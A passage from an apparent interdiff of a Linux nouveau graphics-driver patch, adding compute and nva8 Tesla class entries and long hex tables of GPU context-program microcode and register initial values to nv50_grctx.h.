 +	{ 0x5039, false, NULL }, /* m2mf */
 +	{ 0x502d, false, NULL }, /* 2d */
++	{ 0x50c0, false, NULL }, /* compute */
 +	{ 0x5097, false, NULL }, /* tesla (nv50) */
 +	{ 0x8297, false, NULL }, /* tesla (nv80/nv90) */
 +	{ 0x8397, false, NULL }, /* tesla (nva0) */
++	{ 0x8597, false, NULL }, /* tesla (nva8) */
 +	{}
 +};
 diff --git a/drivers/gpu/drm/nouveau/nv50_grctx.h b/drivers/gpu/drm/nouveau/nv50_grctx.h
 new file mode 100644
-index 0000000..5aef504
+index 0000000..62914d8
 --- /dev/null
 +++ b/drivers/gpu/drm/nouveau/nv50_grctx.h
-@@ -0,0 +1,22284 @@
+@@ -0,0 +1,23991 @@
 +#ifndef __NV50_GRCTX_H__
 +#define __NV50_GRCTX_H__
 +
@@ -53072,6 +53110,1713 @@ index 0000000..5aef504
 +	0x0000
 +};
 +
++static uint32_t nva8_ctxprog[] = {
++	0x0070009c, 0x00300000, 0x0044f509, 0x00402d09, 0x0040e951, 0x00400a44,
++	0x00400a05, 0x00400a0d, 0x0070008e, 0x0040124d, 0x0070009d, 0x0045044d,
++	0x00700097, 0x00450521, 0x004447a1, 0x0044774d, 0x0044834d, 0x0070001d,
++	0x00401806, 0x00600005, 0x00444545, 0x0044308b, 0x00401845, 0x0040234d,
++	0x00700081, 0x00401ccf, 0x0070009f, 0x0050009f, 0x0044e04d, 0x00700017,
++	0x0040230b, 0x00447e4d, 0x00450621, 0x004457a1, 0x007000a0, 0x00700001,
++	0x00700003, 0x00402706, 0x00402805, 0x0060000d, 0x00700005, 0x0070000d, 
++	0x00700006, 0x00700002, 0x0070000b, 0x0070000e, 0x0070001c, 0x0060000c,
++	0x00000000, 0x0090ffff, 0x0091ffff, 0x0044d84d, 0x00600009, 0x0048004d,
++	0x00480019, 0x00700096, 0x00403bcf, 0x0070009f, 0x0050009f, 0x0040e951,
++	0x004036c0, 0x00200080, 0x00600008, 0x0040364f, 0x004036c0, 0x00403fcc,
++	0x00403651, 0x00700016, 0x0048004d, 0x00600011, 0x0048004d, 0x0044364d,
++	0x0070008e, 0x00700081, 0x0044714d, 0x00447e4d, 0x00700083, 0x00300000,
++	0x00212a80, 0x00600007, 0x00c00a01, 0x00200022, 0x00800001, 0x005000cb,
++	0x00c000ff, 0x00445f4d, 0x0048004d, 0x0044d208, 0x0044744d, 0x00448c4d,
++	0x00445f4d, 0x0044e64d, 0x0044774d, 0x0044834d, 0x0048004d, 0x00700083,
++	0x0045074d, 0x00a0023f, 0x00200040, 0x00600006, 0x0045004d, 0x00448e4d,
++	0x002001d9, 0x0044bb60, 0x00200280, 0x0038ffff, 0x0044d04d, 0x00300000, 
++	0x005000cb, 0x00451f4d, 0x005000cb, 0x0044d407, 0x0048004d, 0x00447a4d, 
++	0x00111bfc, 0x0048004d, 0x00447a4d, 0x00111bfd, 0x0048004d, 0x00447a4d,
++	0x00111bfe, 0x0048004d, 0x00200000, 0x00700000, 0x00600006, 0x0048004d,
++	0x00200001, 0x00600006, 0x0045004d, 0x0011020a, 0x0048004d, 0x00300000,
++	0x00c3ffff, 0x00200000, 0x00600007, 0x00700000, 0x00200008, 0x008000ff,
++	0x005000cb, 0x0048004d, 0x00000000, 0x0048004d, 0x00000000, 0x00170202,
++	0x00200032, 0x0010020d, 0x001e0242, 0x001102c0, 0x001102c4, 0x001102c8,
++	0x00120302, 0x00150402, 0x00180500, 0x00130509, 0x00150550, 0x00110605,
++	0x00200013, 0x00100607, 0x00110700, 0x00110900, 0x00120902, 0x00110a00,
++	0x00160b02, 0x00120b28, 0x00140b2b, 0x00110c01, 0x00110d01, 0x002000da,
++	0x00101200, 0x00111400, 0x00111405, 0x00111407, 0x00111409, 0x0011140b, 
++	0x00141a05, 0x00131a0c, 0x00131c00, 0x00131c04, 0x00141c20, 0x00141c25,
++	0x00131f00, 0x00131f04, 0x00111f08, 0x00111f0b, 0x00200015, 0x00101f40,
++	0x0048004d, 0x00600006, 0x00451f4d, 0x00112020, 0x00112022, 0x00200040,
++	0x00102040, 0x001520c0, 0x001120c8, 0x001420ca, 0x001d20cf, 0x00122100,
++	0x00122103, 0x00162140, 0x00122147, 0x00122153, 0x001121a0, 0x001221c0,
++	0x001121cb, 0x001121d4, 0x001521d8, 0x0048004d, 0x00000000, 0x0048004d,
++	0x0060000b, 0x0048004d, 0x0060000a, 0x0048004d, 0x0060000b, 0x0040d64d,
++	0x00200020, 0x00600008, 0x0050004c, 0x0048004d, 0x002003e8, 0x00600008,
++	0x0050004c, 0x0048004d, 0x00600004, 0x0050004a, 0x0048004d, 0x00c000ff,
++	0x00c800ff, 0x0048004d, 0x00c000ff, 0x00c800ff, 0x0048004d, 0x00700016,
++	0x0070008e, 0x00700082, 0x00500041, 0x0044dc4d, 0x00700095, 0x005000d1,
++	0x00600016, 0x00500052, 0x00700002, 0x00700015, 0x0040284d, 0x0070008e,
++	0x0044d84d, 0x00200000, 0x00600007, 0x00300000, 0x00c000ff, 0x00200000,
++	0x008000ff, 0x00700009, 0x0070000e, 0x0048004d, 0x00700080, 0x00480017,
++	0x00700000, 0x0048004d, 0x0048004d, 0x0048004d, 0x0048004d, 0x0070008e,
++	0x0044d84d, 0x00700083, 0x0044e34d, 0x0045104d, 0x0070000f, 0x00410f8c,
++	0x005000cb, 0x0048004d, 0x00200280, 0x00600007, 0x00451487, 0x0048004d,
++	0x00000000, 0x00202072, 0x0045004d, 0x008000ff, 0x0048004d, 0x00210640,
++	0x00600007, 0x00200487, 0x0045004d, 0x008800ff, 0x0048004d, 0x0048000f,
++	0x0048004b, 0x0045194d, 0x0070008f, 0x0048008c, 0x005000cb, 0x0048004d,
++	~0
++};
++
++static uint32_t nva8_ctxvals[] = {
++	0x0001, 0x00000001,
++	0x0042, 0x00000000,
++	0x0001, 0x00000030,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0013, 0x00000000,
++	0x0001, 0x00001000,
++	0x0014, 0x00000000,
++	0x0001, 0x00000003,
++	0x0001, 0x00001000,
++	0x0012, 0x00000000,
++	0x0002, 0x0001629d,
++	0x0001, 0x0000fe0c,
++	0x0005, 0x00000000,
++	0x0001, 0x00004000,
++	0x000a, 0x00000000,
++	0x0001, 0x00000187,
++	0x0004, 0x00000000,
++	0x0001, 0x00001018,
++	0x0001, 0x000000ff,
++	0x0012, 0x00000000,
++	0x0001, 0x00000004,
++	0x0001, 0x142500df,
++	0x0001, 0x00000000,
++	0x0001, 0x00000600,
++	0x0005, 0x00000000,
++	0x0001, 0x01000000,
++	0x0001, 0x000000ff,
++	0x0001, 0x00000000,
++	0x0001, 0x00000400,
++	0x0005, 0x00000000,
++	0x0002, 0x00000001,
++	0x0003, 0x00000000,
++	0x0001, 0x00000002,
++	0x0001, 0x00000001,
++	0x0003, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x00000100,
++	0x0005, 0x00000000,
++	0x0001, 0x00000002,
++	0x0002, 0x00000001,
++	0x0003, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x003fffff,
++	0x0001, 0x00001fff,
++	0x0001, 0x00000000,
++	0x0002, 0x00000001,
++	0x0001, 0x00000000,
++	0x0003, 0x00000001,
++	0x0001, 0x00000004,
++	0x0001, 0x00000001,
++	0x0001, 0x00000000,
++	0x0002, 0x00000001,
++	0x0001, 0x00000007,
++	0x0001, 0x00000001,
++	0x0001, 0x00000007,
++	0x0003, 0x00000001,
++	0x0004, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x00000100,
++	0x0001, 0x00000000,
++	0x0001, 0x00000001,
++	0x0002, 0x00000000,
++	0x0001, 0x00000100,
++	0x0001, 0x00000001,
++	0x0001, 0x00000100,
++	0x0001, 0x00000000,
++	0x0001, 0x00000001,
++	0x0002, 0x00000000,
++	0x0001, 0x00000100,
++	0x0004, 0x00000000,
++	0x0001, 0x00000004,
++	0x0001, 0x00000070,
++	0x0001, 0x00000080,
++	0x0005, 0x00000000,
++	0x0001, 0x0000000c,
++	0x0001, 0x00000000,
++	0x0001, 0x00000008,
++	0x0001, 0x00000014,
++	0x0001, 0x00000000,
++	0x0001, 0x00000029,
++	0x0001, 0x00000027,
++	0x0001, 0x00000026,
++	0x0001, 0x00000008,
++	0x0001, 0x00000004,
++	0x0001, 0x00000027,
++	0x0002, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x00000002,
++	0x0001, 0x00000003,
++	0x0001, 0x00000004,
++	0x0001, 0x00000005,
++	0x0001, 0x00000006,
++	0x0001, 0x00000007,
++	0x0001, 0x00000001,
++	0x0010, 0x00000000,
++	0x0001, 0x000000cf,
++	0x000b, 0x00000000,
++	0x0001, 0x00000080,
++	0x0002, 0x00000004,
++	0x0001, 0x00000003,
++	0x0001, 0x00000000,
++	0x0001, 0x00000003,
++	0x0001, 0x00000001,
++	0x0002, 0x00000000,
++	0x0001, 0x00000012,
++	0x0001, 0x00000010,
++	0x0001, 0x0000000c,
++	0x0001, 0x00000001,
++	0x0003, 0x00000000,
++	0x0001, 0x00000004,
++	0x0001, 0x00000002,
++	0x0001, 0x00000004,
++	0x0003, 0x00000000,
++	0x0001, 0x003fffff,
++	0x0001, 0x00001fff,
++	0x0009, 0x00000000,
++	0x0002, 0x00000001,
++	0x0001, 0x00000002,
++	0x0001, 0x00000000,
++	0x0001, 0x00000004,
++	0x0001, 0x00000014,
++	0x0001, 0x00000001,
++	0x0003, 0x00000000,
++	0x0001, 0x00000002,
++	0x0004, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x00000000,
++	0x0001, 0x00000002,
++	0x0001, 0x00001000,
++	0x0001, 0x00000e00,
++	0x0001, 0x00001000,
++	0x0001, 0x00001e00,
++	0x0001, 0x00000000,
++	0x0005, 0x00000001,
++	0x0003, 0x00000000,
++	0x0002, 0x00000200,
++	0x0001, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x000000f0,
++	0x0001, 0x000000ff,
++	0x0002, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x000000f0,
++	0x0001, 0x000000ff,
++	0x0001, 0x00000000,
++	0x0001, 0x00000009,
++	0x0002, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x000000cf,
++	0x0001, 0x00000000,
++	0x0001, 0x00000001,
++	0x0003, 0x00000000,
++	0x0001, 0x000000cf,
++	0x0001, 0x00000000,
++	0x0001, 0x00000002,
++	0x0001, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x00000000,
++	0x0002, 0x000000cf,
++	0x0001, 0x00000001,
++	0x0001, 0x000e0080,
++	0x0001, 0x00000004,
++	0x0004, 0x00000000,
++	0x0001, 0x00001f80,
++	0x0001, 0x00000030,
++	0x0004, 0x00000000,
++	0x0001, 0x3b74f821,
++	0x0001, 0x89058001,
++	0x0001, 0x00000000,
++	0x0001, 0x00001000,
++	0x0001, 0x000000ff,
++	0x0001, 0x00000000,
++	0x0001, 0x027c10fa,
++	0x0001, 0x400000c0,
++	0x0001, 0xb7892080,
++	0x0004, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x003d0040,
++	0x0001, 0x00000000,
++	0x0001, 0x00000022,
++	0x0007, 0x00000000,
++	0x0001, 0x003d0040,
++	0x0001, 0x00000022,
++	0x0011, 0x00000000,
++	0x0001, 0x0000ff0a,
++	0x0001, 0x00000000,
++	0x0001, 0x01800000,
++	0x0001, 0x00160000,
++	0x0001, 0x01800000,
++	0x0003, 0x00000000,
++	0x0001, 0x0003ffff,
++	0x0001, 0x300c0000,
++	0x0008, 0x00000000,
++	0x0001, 0x00010401,
++	0x0001, 0x00000000,
++	0x0001, 0x00000078,
++	0x0001, 0x00000000,
++	0x0001, 0x000000bf,
++	0x0001, 0x00000000,
++	0x0001, 0x00001210,
++	0x0001, 0x08000080,
++	0x0002, 0x00000000,
++	0x0001, 0x0000003e,
++	0x0005, 0x00000000,
++	0x0001, 0x01800000,
++	0x0001, 0x00160000,
++	0x0001, 0x01800000,
++	0x0003, 0x00000000,
++	0x0001, 0x0003ffff,
++	0x0001, 0x300c0000,
++	0x0008, 0x00000000,
++	0x0001, 0x00010401,
++	0x0001, 0x00000000,
++	0x0001, 0x00000078,
++	0x0001, 0x00000000,
++	0x0001, 0x000000bf,
++	0x0001, 0x00000000,
++	0x0001, 0x00001210,
++	0x0001, 0x08000080,
++	0x0002, 0x00000000,
++	0x0001, 0x0000003e,
++	0x0006, 0x00000000,
++	0x0001, 0x05127070,
++	0x0003, 0x00000000,
++	0x0001, 0x07ffffff,
++	0x0006, 0x00000000,
++	0x0001, 0x00120407,
++	0x0001, 0x05091507,
++	0x0001, 0x05010202,
++	0x0001, 0x00030201,
++	0x0008, 0x00000000,
++	0x0001, 0x00000040,
++	0x0001, 0x0d0c0b0a,
++	0x0001, 0x00141210,
++	0x0001, 0x000001f0,
++	0x0001, 0x00000001,
++	0x0001, 0x00000003,
++	0x0002, 0x00000000,
++	0x0001, 0x00039e00,
++	0x0001, 0x00000100,
++	0x0001, 0x00003800,
++	0x0001, 0x003fe007,
++	0x0001, 0x003fe000,
++	0x0001, 0x00404040,
++	0x0001, 0x6cfff007,
++	0x0001, 0x02bf7fff,
++	0x003e, 0x00000000,
++	0x0001, 0x00000004,
++	0x0004, 0x00000000,
++	0x0001, 0x0000003f,
++	0x0002, 0x00000000,
++	0x0001, 0x00000004,
++	0x0001, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x00000000,
++	0x0001, 0x0fac6881,
++	0x000b, 0x00000000,
++	0x0001, 0x00000080,
++	0x0007, 0x00000000,
++	0x0001, 0x00000004,
++	0x0007, 0x00000000,
++	0x0001, 0x00080c14,
++	0x0005, 0x00000000,
++	0x0001, 0x00080c14,
++	0x0003, 0x00000000,
++	0x0001, 0x0000000f,
++	0x0005, 0x00000000,
++	0x0001, 0x000007ff,
++	0x000d, 0x00000000,
++	0x0001, 0x00000804,
++	0x000f, 0x00000000,
++	0x0001, 0x00000004,
++	0x0006, 0x00000000,
++	0x0001, 0x00000002,
++	0x0001, 0x00000004,
++	0x0006, 0x00000000,
++	0x0001, 0x04000000,
++	0x0001, 0x08100c12,
++	0x0005, 0x00000000,
++	0x0001, 0x04e3bfdf,
++	0x0001, 0x04000000,
++	0x0006, 0x00000000,
++	0x0001, 0x04e3bfdf,
++	0x0001, 0x00000000,
++	0x0001, 0x00000004,
++	0x0003, 0x00000000,
++	0x0001, 0x00000020,
++	0x0003, 0x00000000,
++	0x0001, 0x00000004,
++	0x000f, 0x00000000,
++	0x0001, 0x00000010,
++	0x0005, 0x00000000,
++	0x0001, 0x00000011,
++	0x000f, 0x00000000,
++	0x0001, 0x04e3bfdf,
++	0x0007, 0x00000000,
++	0x0001, 0x04e3bfdf,
++	0x0008, 0x00000000,
++	0x0001, 0x00000004,
++	0x0001, 0x00000804,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0005, 0x00000000,
++	0x0001, 0x00000011,
++	0x0001, 0x00000000,
++	0x0001, 0x0000001a,
++	0x0007, 0x00000000,
++	0x0001, 0x0000007f,
++	0x0006, 0x00000000,
++	0x0001, 0x00000004,
++	0x0008, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00080c14,
++	0x000f, 0x00000000,
++	0x0001, 0x08100c12,
++	0x0007, 0x00000000,
++	0x0001, 0x00000004,
++	0x0007, 0x00000000,
++	0x0001, 0x00000004,
++	0x0003, 0x00000000,
++	0x0001, 0x0000001a,
++	0x0009, 0x00000000,
++	0x0001, 0x00000002,
++	0x0001, 0x00000000,
++	0x0001, 0x00000010,
++	0x000d, 0x00000000,
++	0x0001, 0x00087e67,
++	0x0011, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x08100c12,
++	0x000d, 0x00000000,
++	0x0001, 0x00000001,
++	0x0018, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00001001,
++	0x0007, 0x00000000,
++	0x0001, 0x0000ffff,
++	0x0001, 0x000007ff,
++	0x0003, 0x00000000,
++	0x0001, 0x00000004,
++	0x0002, 0x00000000,
++	0x0001, 0x0000ffff,
++	0x0001, 0x00080c14,
++	0x0003, 0x00000000,
++	0x0001, 0x00000004,
++	0x0002, 0x00000000,
++	0x0001, 0x0000ffff,
++	0x0006, 0x00000000,
++	0x0001, 0x00000015,
++	0x0001, 0x0000ffff,
++	0x0004, 0x00000000,
++	0x0001, 0x00000004,
++	0x0007, 0x00000000,
++	0x0001, 0x00000008,
++	0x0001, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000010,
++	0x0005, 0x00000000,
++	0x0001, 0x000007ff,
++	0x0006, 0x00000000,
++	0x0001, 0x00000004,
++	0x0001, 0x00001e00,
++	0x0006, 0x00000000,
++	0x0001, 0x00000004,
++	0x0002, 0x00000000,
++	0x0001, 0x00000001,
++	0x0027, 0x00000000,
++	0x0001, 0x00000004,
++	0x0007, 0x00000000,
++	0x0001, 0x00000400,
++	0x0007, 0x00000000,
++	0x0001, 0x00000300,
++	0x0007, 0x00000000,
++	0x0001, 0x00001001,
++	0x001d, 0x00000000,
++	0x0001, 0x0000000f,
++	0x0019, 0x00000000,
++	0x0001, 0x00000002,
++	0x0047, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000010,
++	0x000f, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x00000010,
++	0x0017, 0x00000000,
++	0x0001, 0x00000003,
++	0x0006, 0x00000000,
++	0x0001, 0x00000010,
++	0x0011, 0x00000000,
++	0x0001, 0x00000001,
++	0x0017, 0x00000000,
++	0x0001, 0x00000010,
++	0x003e, 0x00000000,
++	0x0001, 0x04000000,
++	0x0007, 0x00000000,
++	0x0001, 0x04000000,
++	0x000f, 0x00000000,
++	0x0001, 0x00000080,
++	0x0006, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0001, 0x00000080,
++	0x0006, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0001, 0x00000001,
++	0x0006, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0001, 0x00000100,
++	0x0006, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0001, 0x00000100,
++	0x0006, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0001, 0x00000011,
++	0x0006, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0007, 0x00000000,
++	0x0001, 0x3f800000,
++	0x0001, 0x00000008,
++	0x002f, 0x00000000,
++	0x0001, 0x00000001,
++	0x000f, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x000000cf,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0037, 0x00000000,
++	0x0001, 0x00000001,
++	0x000f, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0016, 0x00000000,
++	0x0001, 0x00000010,
++	0x000f, 0x00000000,
++	0x0001, 0x0000003f,
++	0x0001, 0x00000004,
++	0x000f, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x00000088,
++	0x0006, 0x00000000,
++	0x0001, 0x00000015,
++	0x0001, 0x00000088,
++	0x0017, 0x00000000,
++	0x0001, 0x00000004,
++	0x0005, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x04444480,
++	0x000e, 0x00000000,
++	0x0001, 0x00000001,
++	0x000f, 0x00000000,
++	0x0001, 0x00000001,
++	0x0017, 0x00000000,
++	0x0001, 0x00001001,
++	0x005f, 0x00000000,
++	0x0001, 0x00000011,
++	0x0019, 0x00000000,
++	0x0001, 0x00000026,
++	0x0017, 0x00000000,
++	0x0001, 0x3f800000,
++	0x000d, 0x00000000,
++	0x0001, 0x0000000f,
++	0x0019, 0x00000000,
++	0x0001, 0x0000001a,
++	0x0007, 0x00000000,
++	0x0001, 0x00000010,
++	0x001d, 0x00000000,
++	0x0001, 0x00000011,
++	0x0037, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x000f, 0x00000000,
++	0x0001, 0x00087e67,
++	0x000f, 0x00000000,
++	0x0001, 0x0fac6881,
++	0x000f, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0002, 0x00000001,
++	0x0006, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0002, 0x00000001,
++	0x0006, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x2a712488,
++	0x0006, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x4085c000,
++	0x0006, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x00000040,
++	0x0006, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x00000100,
++	0x0006, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x00010100,
++	0x0006, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x02800000,
++	0x0006, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x00000000,
++	0x0001, 0x00000052,
++	0x0005, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x00000000,
++	0x0001, 0x00000026,
++	0x0005, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x00000000,
++	0x0001, 0x00000004,
++	0x0005, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x00000000,
++	0x0001, 0x00000004,
++	0x0005, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0001, 0x00000000,
++	0x0001, 0x0000001a,
++	0x0005, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0001, 0x00000000,
++	0x0001, 0x00ffff00,
++	0x0005, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0002, 0x00000001,
++	0x0006, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0001, 0x0000000f,
++	0x0006, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0018, 0x00000000,
++	0x0001, 0x00000004,
++	0x0006, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x0000ffff,
++	0x0007, 0x00000000,
++	0x0001, 0x0000ffff,
++	0x0007, 0x00000000,
++	0x0001, 0x0000ffff,
++	0x0007, 0x00000000,
++	0x0001, 0x0000ffff,
++	0x0016, 0x00000000,
++	0x0001, 0x00000001,
++	0x0030, 0x00000000,
++	0x0001, 0x00000001,
++	0x001f, 0x00000000,
++	0x0001, 0x00000001,
++	0x002f, 0x00000000,
++	0x0001, 0x00000001,
++	0x0017, 0x00000000,
++	0x0001, 0x00000003,
++	0x001e, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0010, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0001, 0x00000002,
++	0x0006, 0x00000000,
++	0x0002, 0x00000001,
++	0x0006, 0x00000000,
++	0x0002, 0x00000001,
++	0x0006, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x00000002,
++	0x0006, 0x00000000,
++	0x0001, 0x00000001,
++	0x0007, 0x00000000,
++	0x0002, 0x00000001,
++	0x0006, 0x00000000,
++	0x0002, 0x00000001,
++	0x0006, 0x00000000,
++	0x0002, 0x00000001,
++	0x0006, 0x00000000,
++	0x0002, 0x00000001,
++	0x0006, 0x00000000,
++	0x0002, 0x00000001,
++	0x0006, 0x00000000,
++	0x0002, 0x00000001,
++	0x0006, 0x00000000,
++	0x0002, 0x00000001,
++	0x0006, 0x00000000,
++	0x0002, 0x00000001,
++	0x0006, 0x00000000,
++	0x0002, 0x00000001,
++	0x0006, 0x00000000,
++	0x0002, 0x00000001,
++	0x0006, 0x00000000,
++	0x0002, 0x00000001,
++	0x0006, 0x00000000,
++	0x0002, 0x00000001,
++	0x0006, 0x00000000,
++	0x0001, 0x00000002,
++	0x0001, 0x00000001,
++	0x0006, 0x00000000,
++	0x0001, 0x00000002,
++	0x0001, 0x00000001,
++	0x0006, 0x00000000,
++	0x0001, 0x00000002,
++	0x0001, 0x00000001,
++	0x0006, 0x00000000,
++	0x0001, 0x00000002,
++	0x0001, 0x00000001,
++	0x0006, 0x00000000,
++	0x0001, 0x00000002,
++	0x0001, 0x00000001,
++	0x0006, 0x00000000,
++	0x0001, 0x00000002,
++	0x0001, 0x00000001,
++	0x0006, 0x00000000,
++	0x0001, 0x00000002,
++	0x0001, 0x00000001,
++	0x0006, 0x00000000,
++	0x0001, 0x00000002,
++	0x0001, 0x00000001,
++	0x0006, 0x00000000,
++	0x0002, 0x00000001,
++	0x0006, 0x00000000,
++	0x0002, 0x00000001,
++	0x0006, 0x00000000,
++	0x0002, 0x00000001,
++	0x0006, 0x00000000,
++	0x0002, 0x00000001,
++	0x0006, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x00000002,
++	0x0006, 0x00000000,
++	0x0001, 0x00000001,
++	0x0001, 0x00000002,
++	0x0006, 0x00000000,
++	0x0001, 0x00000001,
